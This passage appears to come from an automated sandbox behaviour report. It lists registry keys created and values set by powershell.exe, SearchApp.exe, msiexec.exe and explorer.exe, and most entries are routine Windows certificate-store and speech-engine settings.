\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe - Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SR en-US Lookup Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\es-ES\\VoiceActivation_HW_es-ES.dat" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.search\Total = "23" SearchApp.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "309C 309C 30A1 30A1 30A2 30A2 30A3 30A3 30A4 30A4 30A5 30A5 30A6 30A6 30A7 30A7 30A8 30A8 30A9 30A9 30AA 30AA 30AB 30AB 30AC 30AC 30AD 30AD 30AE 30AE 30AF 30AF 30B0 30B0 30B1 30B1 30B2 30B2 30B3 30B3 30B4 30B4 30B5 30B5 30B6 30B6 30B7 30B7 30B8 30B8 30B9 30B9 30BA 30BA 30BB 30BB 30BC 30BC 30BD 30BD 30BE 30BE 30BF 30BF 30C0 30C0 30C1 30C1 30C2 30C2 30C3 30C3 30C4 30C4 30C5 30C5 30C6 30C6 30C7 30C7 30C8 30C8 30C9 30C9 30CA 30CA 30CB 30CB 30CC 30CC 30CD 30CD 30CE 30CE 30CF 30CF 30D0 30D0 30D1 30D1 30D2 30D2 30D3 30D3 30D4 30D4 30D5 30D5 30D6 30D6 30D7 30D7 30D8 30D8 30D9 30D9 30DA 30DA 30DB 30DB 30DC 30DC 30DD 30DD 30DE 30DE 30DF 30DF 30E0 30E0 30E1 30E1 30E2 30E2 30E3 30E3 30E4 30E4 30E5 30E5 30E6 30E6 30E7 30E7 30E8 30E8 30E9 30E9 30EA 30EA 30EB 30EB 30EC 30EC 30ED 30ED 30EE 30EE 30EF 30EF 30F0 30F0 30F1 30F1 30F2 30F2 30F3 30F3 30F4 30F4 30F5 30F5 30F6 30F6 30F7 30F7 30F8 30F8 30F9 30F9 30FA 30FA 30FB 30FB 30FC 30FC 30FD 30FD 30FE 30FE 0021 0021 0027 0027 002B 002B 002E 002E 003F 003F 005F 005F 007C 007C" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "411" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "L1036" SearchApp.exe Set value (data) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = 4ceb4de51753375e6967fd144fced62b87697270a205fca4961d9e7157eeb830 SearchApp.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\Version = "100663959" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Sie haben %1 als Standardstimme ausgewählt." SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Hedda - German (Germany)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\r1033sr.lxa" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\ja-JP\\VoiceActivation_ja-JP.dat" SearchApp.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-745935970-1373868228-562466063-1000\{EB25EDA6-9801-49DE-9737-9350B15B8F37} explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Speech SW Voice Activation - English (United States)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Speech HW Voice Activation - English (United States)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "MS-1040-110-WINMO-DNN" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "spell=NativeSupported; cardinal=GlobalSupported; ordinal=NativeSupported; date=GlobalSupported; time=GlobalSupported; telephone=NativeSupported; address=NativeSupported; message=NativeSupported; url=NativeSupported; currency=NativeSupported; alphanumeric=NativeSupported" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "- 0001 ! 0002 & 0003 , 0004 . 0005 ? 0006 _ 0007 1 0008 ~ 0009 aa 000a a 000b oh 000c ax 000d b 000e d 000f eh 0010 ey 0011 f 0012 g 0013 hy 0014 uy 0015 iy 0016 k 0017 l 0018 m 0019 n 001a ng 001b nj 001c oe 001d eu 001e ow 001f p 0020 r 0021 s 0022 sh 0023 t 0024 uw 0025 v 0026 w 0027 y 0028 z 0029 zh 002a" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Spanish Phone Converter" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "16000" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "MS-1031-110-WINMO-DNN" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\M1033David" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Cosimo - Italian (Italy)" SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.MicrosoftStickyNotes_8wekyb3d8b explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Traditional Chinese Phone Converter" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "MS-1033-110-WINMO-DNN" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\L1033" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Laura - Spanish (Spain)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "spell=NativeSupported; cardinal=GlobalSupported; ordinal=NativeSupported; date=GlobalSupported; time=GlobalSupported; telephone=NativeSupported; currency=NativeSupported; url=NativeSupported; address=NativeSupported; alphanumeric=NativeSupported; message=NativeSupported; computer=NativeSupported" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\es-ES\\M3082Pablo" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "HKEY_LOCAL_MACHINE/SOFTWARE\\Microsoft\\Speech_OneCore\\AudioOutput\\TokenEnums\\MMAudioOut\\" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Mark - English (United States)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\L1036" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\ja-JP\\MSTTSLocjaJP.dat" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Speech HW Voice Activation - Japanese (Japan)" SearchApp.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "11.0.2013.1022" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Speech Recognition Engine - fr-FR Embedded DNN v11.1" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\r1036sr.lxa" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Paul - French (France)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\c1041.fe" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "407" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "1" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "1033" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Stefan" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "5223743" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "spell=NativeSupported; cardinal=GlobalSupported; ordinal=NativeSupported; date=GlobalSupported; time=GlobalSupported; telephone=NativeSupported; computer=NativeSupported; address=NativeSupported; currency=NativeSupported; message=NativeSupported; media=NativeSupported; url=NativeSupported; alphanumeric=NativeSupported" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Speech Recognition Engine - it-IT Embedded DNN v11.1" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "L1040" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SR de-DE Lookup Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Helena" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Ichiro - Japanese (Japan)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\de-DE\\M1031Stefan" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Microsoft Speech HW Voice Activation - Spanish (Spain)" SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Speech_OneCore\\Voices\\Tokens\\MSTTS_V110_EnUS_ZiraM" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "spell=NativeSupported; cardinal=GlobalSupported; ordinal=NativeSupported; date=GlobalSupported; time=GlobalSupported; telephone=NativeSupported; currency=NativeSupported; net=NativeSupported; url=NativeSupported; address=NativeSupported; alphanumeric=NativeSupported; Name=NativeSupported; media=NativeSupported; message=NativeSupported; companyName=NativeSupported; computer=NativeSupported; math=NativeSupported; duration=NativeSupported" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local 